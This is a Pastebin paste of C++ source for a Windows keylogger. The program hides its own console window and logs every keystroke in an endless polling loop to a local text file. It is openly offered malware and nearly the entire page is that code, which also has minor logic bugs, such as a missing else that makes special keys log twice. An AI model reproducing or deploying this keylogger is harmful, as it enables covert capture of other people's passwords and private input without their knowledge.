Advertisement
bha2597

Keylogger

Dec 31st, 2013
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.12 KB | None | 0 0
  1. #include <iostream>
  2. using namespace std;
  3. #include <windows.h>
  4. #include <Winuser.h>
  5. #include <stdio.h>
  6.  
  7. int Save (int key_stroke, char *file);
  8. void Stealth();
  9.  
  10. int main()
  11. {
  12.     Stealth();
  13.     char i;
  14.     while (1)
  15.     {
  16.         for (i = 8; i <= 190; i++)
  17.         {
  18.             if (GetAsyncKeyState(i) == -32767)
  19.                 Save(i, "Keylogger_file.txt");
  20.         }
  21.     }
  22.     system ("PAUSE");
  23.     return 0;
  24. }
  25. /* *************************************** */
  26. /* *************************************** */
  27. int Save (int key_stroke, char *file)
  28. {
  29.     if(( key_stroke == 1)   ||  (key_stroke == 2)) //see if I can include the brackets
  30.         return 0;
  31.  
  32.     FILE *OUTPUT_FILE;
  33.     OUTPUT_FILE = fopen(file, "a+");
  34.     cout << key_stroke << endl;
  35.    
  36.     if (key_stroke == 8)
  37.         fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
  38.     else if (key_stroke == 13)
  39.         fprintf(OUTPUT_FILE, "%s", "\n");
  40.     else if (key_stroke == 32)
  41.         fprintf(OUTPUT_FILE, "%s", " ");
  42.     else if (key_stroke == VK_TAB)
  43.         fprintf(OUTPUT_FILE, "%s", "[TAB]");
  44.     else if (key_stroke == VK_SHIFT)
  45.         fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
  46.     else if (key_stroke == VK_CONTROL)
  47.         fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
  48.     else if (key_stroke == VK_ESCAPE)
  49.         fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
  50.     else if (key_stroke == VK_END)
  51.         fprintf(OUTPUT_FILE, "%s", "[END]");
  52.     else if (key_stroke == VK_HOME)
  53.         fprintf(OUTPUT_FILE, "%s", "[HOME]");
  54.     else if (key_stroke == VK_LEFT)
  55.         fprintf(OUTPUT_FILE, "%s", "[LEFT ARROW KEY]");
  56.     else if (key_stroke == VK_UP)
  57.         fprintf(OUTPUT_FILE, "%s", "[UP ARROW KEY]");
  58.     else if (key_stroke == VK_RIGHT)
  59.         fprintf(OUTPUT_FILE, "%s", "[RIGHT ARROW KEY]");
  60.     else if (key_stroke == VK_DOWN)
  61.         fprintf(OUTPUT_FILE, "%s", "[DOWN ARROW KEY]");
  62.     else if (key_stroke == VK_DELETE)
  63.         fprintf(OUTPUT_FILE, "%s", "[DELETE]");
  64.      if ((key_stroke == 190)    ||  (key_stroke == 110))
  65.         fprintf(OUTPUT_FILE, "%s", ".");
  66.     else
  67.         fprintf(OUTPUT_FILE, "%s", &key_stroke);
  68.     fclose(OUTPUT_FILE);
  69.     return 0;
  70. }
  71. /* *************************************** */
  72. /* *************************************** */
  73. void Stealth(){
  74.     HWND stealth;
  75.     AllocConsole();
  76.     stealth = FindWindowA("ConsoleWindowClass", NULL);
  77.     ShowWindow(stealth,0);
  78. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement